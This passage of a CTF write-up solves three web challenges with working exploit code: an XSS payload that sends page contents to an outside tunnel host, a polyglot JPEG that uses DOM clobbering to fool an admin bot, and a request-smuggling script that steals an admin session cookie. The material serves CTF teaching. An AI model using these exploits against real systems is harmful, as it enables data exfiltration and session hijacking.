            self.send_header('Content-Type', 'application/javascript')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            with open('payload.js', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(200)
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            self.wfile.write(b'OK')

http.server.HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
```

**XSS payload (`payload.js`):**

```javascript
(function(){
  var d = document;
  var base = 'https://f295e73be88189.lhr.life';

  // Read flag from script tags in page source
  var scripts = d.querySelectorAll('script');
  var flagData = '';
  for (var i = 0; i < scripts.length; i++) {
    var t = scripts[i].textContent || '';
    if (t.indexOf('shadow') !== -1 || t.indexOf('ctf') !== -1) {
      flagData += '|SCRIPT' + i + ':' + t.substring(0, 400);
    }
  }
  if (flagData) {
    new Image().src = base + '/?d=' + encodeURIComponent(flagData.substring(0, 1500));
  }

  // Also try regex match on full HTML
  var html = d.documentElement.innerHTML;
  var m = html.match(/p_ctf\{[^}]+\}/);
  if (m) new Image().src = base + '/?f=' + encodeURIComponent(m[0]);
})();
```

**Exploit submission:**

```python
import requests, urllib.parse

name = '</script><script src=//f295e73be88189.lhr.life/x>'
avatar = 'https://picsum.photos/100'
params = urllib.parse.urlencode({'name': name, 'avatar': avatar})

# Trigger admin bot visit
requests.post(f'https://shadow-fight-2.ctf.prgy.in/review?{params}')
```

**Why it works:** The `</script>` injection breaks the existing script context at the HTML parser level — the filter checks for JS-dangerous keywords but doesn't block HTML structural elements. The external script loads without restrictions (no CSP), reads the flag from the DOM (it's in the script tag's text content, not locked inside the Shadow DOM), and exfiltrates via `Image()` request.

**Flag:** `p_ctf{admz_nekki_kekw_c6e194c17f2405c5}`

### Picture This

#### Description

A social media platform where users can sign up and create profiles. Only "verified" users get the flag. Profiles are reviewed by automated bots before verification. The goal is to get verified and claim the gift.

**Category:** web | **Points:** 425 | **Solves:** 26

#### Solution

The application has a three-part vulnerability chain: a MIME type mismatch in the CDN, DOM clobbering to bypass verification logic, and an admin bot that visits user-controlled content.

**1. MIME Type Mismatch (.jpg vs .jpeg)**

In `cdn.js`, the content-type defaults to `text/html` and only overrides for specific extensions:

```javascript
let ct = "text/html";  // default!
if (ext === ".png") ct = "image/png";
else if (ext === ".jpeg") ct = "image/jpeg";  // only .jpeg, NOT .jpg
else if (ext === ".webp") ct = "image/webp";
```

But in `helpers.js`, the `validateImage` function stores JPEG files with `.jpg` extension:

```javascript
case "image/jpeg":
case "image/jpg":
    return [true, ".jpg"];
```

This means uploaded JPEG files get a `.jpg` extension, but the CDN serves them as `text/html` since `.jpg !== ".jpeg"`.

**2. DOM Clobbering the Verification Check**

The admin bot visits `/_image/{avatar}?uid={uid}`, then injects `admin-helper.js` which contains:

```javascript
if (!window.config) {
    window.config = { adminCanVerify: false }
}
// ...
if (!window.config.canAdminVerify) {
    action = "reject"
}
```

Note the typo: the default sets `adminCanVerify` but the check reads `canAdminVerify` — always `undefined` (falsy) normally, forcing rejection. But since our JPEG is served as HTML, we embed a DOM clobbering payload:

```html
<form id="config"><input name="canAdminVerify" value="1"></form>
```

This creates `window.config` (the form element, truthy) and `window.config.canAdminVerify` (the input element, truthy), bypassing the rejection. CSP is `default-src 'self'` which blocks inline scripts, but DOM clobbering requires no JavaScript execution.

**3. Exploit Flow**

1. Create a minimal valid JPEG (passes `file-type` magic byte check) with HTML appended after the EOI marker
2. Upload as avatar — stored as `uuid.jpg`
3. Request verification — bot visits `/_image/uuid.jpg` which is served as `text/html`
4. Browser parses embedded HTML, DOM clobbering sets `window.config.canAdminVerify` to truthy
5. `admin-helper.js` submits `action=verify` instead of `action=reject`
6. User gets verified, flag appears on profile page

**Exploit Script (`solve.py`):**

```python
#!/usr/bin/env python3
import requests
import time
import uuid
import re
import html
import sys

BASE = "https://picture.ctf.prgy.in"
USERNAME = f"solver_{uuid.uuid4().hex[:8]}"
PASSWORD = "password123"

def create_malicious_jpeg():
    # Minimal JPEG: SOI + APP0 (JFIF) + EOI
    jpeg = bytearray([0xFF, 0xD8])
    jpeg += bytearray([
        0xFF, 0xE0, 0x00, 0x10,
        0x4A, 0x46, 0x49, 0x46, 0x00,  # "JFIF\0"
        0x01, 0x01, 0x00,
        0x00, 0x01, 0x00, 0x01,
        0x00, 0x00,
    ])
    jpeg += bytearray([0xFF, 0xD9])  # EOI
    # DOM clobbering payload after JPEG data
    html_payload = b'\n<html><body>'
    html_payload += b'<form id="config"><input name="canAdminVerify" value="1"></form>'
    html_payload += b'</body></html>'
    return bytes(jpeg) + html_payload

s = requests.Session()

# Register + Login
s.post(f"{BASE}/register", data={"username": USERNAME, "password": PASSWORD})
s.post(f"{BASE}/login", data={"username": USERNAME, "password": PASSWORD})

# Upload malicious JPEG avatar
jpeg_data = create_malicious_jpeg()
s.post(f"{BASE}/profile", data={"display_name": "x"},
       files={"avatar": ("e.jpg", jpeg_data, "image/jpeg")})

# Trigger bot verification
s.post(f"{BASE}/verify")

# Wait for approval
time.sleep(6)

# Get flag from profile
r = s.get(f"{BASE}/profile")
match = re.search(r'class="flag">(.*?)</span>', r.text)
if match:
    print(f"FLAG: {html.unescape(match.group(1))}")
```

**Flag:** `p_ctf{i_M!ss#d_Th#_JPG_5f899f05}`

### Crossing Boundaries

#### Description

The target is a blog app behind a “front proxy” and a custom caching TCP proxy. The cache proxy caches `GET /blogs/<id>` responses. The admin bot can be triggered to review a user blog and it makes a privileged request carrying an admin `session` cookie; the goal is to obtain `/flag`.

#### Solution

The cache proxy has a request-desync bug on cache hits:

* It checks the cache and, on a HIT, immediately returns the cached response and `continue`s the loop.
* It does this **before** reading the request body (`Content-Length` bytes).

So if we send a cache-hit request:

1. `GET /blogs/<cached>` with a `Content-Length` and a body
2. The proxy returns the cached blog without consuming the body
3. The leftover body bytes are parsed as the **next** HTTP request on the same upstream TCP connection

To steal the admin cookie without relying on “response stealing”, we smuggle an **incomplete** inner request:

* Outer (carrier) request: `GET /blogs/<cached>` (cache HIT) with `Content-Length: len(inner_bytes)`
* Inner request (parsed by cache proxy as request #2): `POST /my-blogs/create` with a large `Content-Length` for its body, but we only send the prefix `content=<marker>` and **stop**.
* The cache proxy blocks waiting for the missing body bytes.

After we “request review” on one of our blogs, the admin bot waits 10s then performs:

* `GET /admin/blogs/<blogID>` with `Cookie: session=<AdminSessionID>` and `User-Agent: AdminBot/1.0`

Because the front proxy reuses upstream connections and routes the admin bot request into the same isolation bucket, the admin bot’s request bytes are consumed as the missing POST body. The backend then stores those bytes as the new blog’s `content`. We fetch that blog and extract the admin `session` cookie from the captured headers, then call `/flag` with it.

Exploit code (end-to-end):

```python
#!/usr/bin/env python3
import re
import ssl
import socket
import time
import uuid
import urllib.parse

import requests


HOST = "crossing-boundaries.ctf.prgy.in"
BASE = "https://" + HOST
PORT = 443

# Any published blog UUID from the homepage (must be cached HIT)
CARRIER_BLOG_ID = "c2e38584-480c-4397-9776-9ceabcfd4e06"


def die(msg: str) -> None:
    raise SystemExit(msg)


def mk_user() -> tuple[str, str]:
    # Username: >= 8 chars
    username = "solve_" + uuid.uuid4().hex[:10]
    # Password: >= 20 chars
    password = "solve_password_" + uuid.uuid4().hex + uuid.uuid4().hex
    return username, password


def list_my_blog_ids(sess: requests.Session) -> list[str]:
    r = sess.get(
        BASE + "/my-blogs",
        headers={"Connection": "close", "Accept-Encoding": "identity"},
        timeout=15,
    )
    r.raise_for_status()
    return list(dict.fromkeys(re.findall(r"/my-blogs/([a-f0-9-]{36})", r.text)))


def get_my_blog_content(sess: requests.Session, blog_id: str) -> str:
    r = sess.get(
        BASE + f"/my-blogs/{blog_id}",
        headers={"Connection": "close", "Accept-Encoding": "identity"},
        timeout=15,
    )
    r.raise_for_status()
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL | re.IGNORECASE)
    return m.group(1).strip() if m else ""


def prime_cache() -> None:
    # Best-effort: ensure /blogs/<carrier> is a cache HIT. Cache is global.
    for _ in range(3):
        r = requests.get(BASE + f"/blogs/{CARRIER_BLOG_ID}", timeout=15)
        if r.headers.get("x-cache", "").upper() == "HIT":
            return
        time.sleep(0.2)
    # Not fatal (might already be cached but header stripped), but warn.
    print("[!] Could not confirm x-cache HIT while priming; continuing anyway.")


def tls_send(payload: bytes, recv_bytes: int = 4096, timeout: float = 5.0) -> bytes:
    ctx = ssl.create_default_context()
    raw = socket.create_connection((HOST, PORT), timeout=10)
    with ctx.wrap_socket(raw, server_hostname=HOST) as s:
        s.settimeout(timeout)
        s.sendall(payload)
        try:
            return s.recv(recv_bytes)
        except Exception:
            return b""


def poison_waiting_post(user_session: str, marker: str, inner_body_len: int) -> None:
    """
    Outer request (cache HIT): GET /blogs/<carrier> with a body.
    Body contains an inner request (POST /my-blogs/create) whose declared Content-Length
    is larger than the bytes we provide. The proxy will block waiting for the remainder,
    and the admin bot's next request bytes (on the same upstream connection) will be
    consumed as the missing body and stored as blog content.
    """
    if inner_body_len < 32 or inner_body_len > 264:
        die(f"inner_body_len out of expected range: {inner_body_len}")

    # Body is a single form param: content=<marker><captured-bytes>
    # Content length limit is 256 for the *content value*; body length includes "content=" (8 bytes).
    # We keep the value <= 256 by keeping body_len <= 264.
    inner_body_prefix = ("content=" + marker).encode()

    inner_req = (
        f"POST /my-blogs/create HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"Cookie: session={user_session}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {inner_body_len}\r\n"
        f"\r\n"
    ).encode() + inner_body_prefix

    outer_req = (
        f"GET /blogs/{CARRIER_BLOG_ID} HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"Cookie: session={user_session}\r\n"
        f"Connection: close\r\n"
        f"Content-Length: {len(inner_req)}\r\n"
        f"\r\n"
    ).encode() + inner_req

    resp = tls_send(outer_req, recv_bytes=4096, timeout=5.0)
    if resp:
        line = resp.split(b"\r\n", 1)[0].decode(errors="replace")
        print(f"[*] Poison outer response: {line}")
    else:
        print("[!] Poison outer response: (no data)")


def extract_admin_session_cookie(decoded_captured: str, user_session: str) -> str | None:
    cookies = re.findall(
        r"(?i)cookie:\s*session=([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})",
        decoded_captured,
    )
    for c in cookies:
        if c != user_session:
            return c
    return None


def main() -> None:
    prime_cache()

    # Register + login
    sess = requests.Session()
    username, password = mk_user()
    sess.post(BASE + "/register", data={"username": username, "password": password}, allow_redirects=False, timeout=15)
    sess.post(BASE + "/login", data={"username": username, "password": password}, allow_redirects=False, timeout=15)
    user_session = sess.cookies.get("session")
    if not user_session:
        die("No session cookie after login; aborting.")
    print(f"[*] User: {username}")
    print(f"[*] Session: {user_session}")

    # Create a blog to trigger admin review (normal request)
    before = set(list_my_blog_ids(sess))
    trig_content = "REVIEW_TRIGGER_" + uuid.uuid4().hex + "_1234567890"
    r = sess.post(BASE + "/my-blogs/create", data={"content": trig_content}, allow_redirects=False, timeout=15)
    if r.status_code not in (303, 302):
        die(f"Create review blog failed: {r.status_code} {r.text[:100]}")
    after = set(list_my_blog_ids(sess))
    new = list(after - before)
    if not new:
        die("Could not find newly created review blog ID.")
    review_blog_id = new[0]
    print(f"[*] Review blog id: {review_blog_id}")

    # We might need to retry: if we make any request in our bucket before the bot,
    # we will fill our own trap and won't leak the admin cookie.
    for attempt in range(1, 4):
        print(f"[*] Attempt {attempt}/3")

        r = sess.post(BASE + f"/my-blogs/{review_blog_id}/review", allow_redirects=False, timeout=15)
        print(f"[*] Trigger review: {r.status_code}")

        # Poison exactly once, then do not send any requests with our session until after admin bot time.
        token = uuid.uuid4().hex[:6]
        marker = f"LEAK_{token}_"

        # Tune capture length: enough bytes to include the full Cookie header value.
        inner_body_len = 256
        poison_waiting_post(user_session=user_session, marker=marker, inner_body_len=inner_body_len)

        # Wait for admin bot (10s sleep in source); leave margin.
        wait_s = 16
        print(f"[*] Waiting {wait_s}s for admin bot to fill the body...")
        time.sleep(wait_s)

        # Now fetch blogs and find the leak blog by marker, then extract admin cookie
        blog_ids = None
        # requests can get a chunked decode error if the proxy connection is in a bad state.
        # If that happens, rebuild the session (cookie-only) and retry.
        for _ in range(8):
            try:
                blog_ids = list_my_blog_ids(sess)
                break
            except requests.exceptions.ChunkedEncodingError:
                sess = requests.Session()
                sess.cookies.set("session", user_session, domain=HOST, path="/")
                time.sleep(1)
                continue
            except requests.HTTPError as e:
                status = getattr(e.response, "status_code", None)
                if status == 503:
                    time.sleep(2)
                    continue
                raise
        if blog_ids is None:
            print("[!] /my-blogs still unavailable after retries; continuing to next attempt.")
            continue

        leak_blog_id = None
        leak_raw = None
        for bid in blog_ids:
            c = get_my_blog_content(sess, bid)
            if marker in c:
                leak_blog_id = bid
                leak_raw = c
                break

        if not leak_blog_id or leak_raw is None:
            print("[!] Leak blog not found (marker missing).")
            continue

        decoded = urllib.parse.unquote_plus(leak_raw)
        admin_session = extract_admin_session_cookie(decoded, user_session=user_session)
        if not admin_session:
            print("[!] Admin session cookie not found in leak blog; retrying.")
            continue

        admin = requests.Session()
        admin.cookies.set("session", admin_session, domain=HOST, path="/")
        r = admin.get(BASE + "/flag", timeout=15)
        m = re.search(r"(p_ctf\{[^}]+\})", r.text)
        if not m:
            die("Did not get flag in response.")
        print(m.group(1))
        return

    die("All attempts failed to extract admin cookie.")


if __name__ == "__main__":
    main()
```
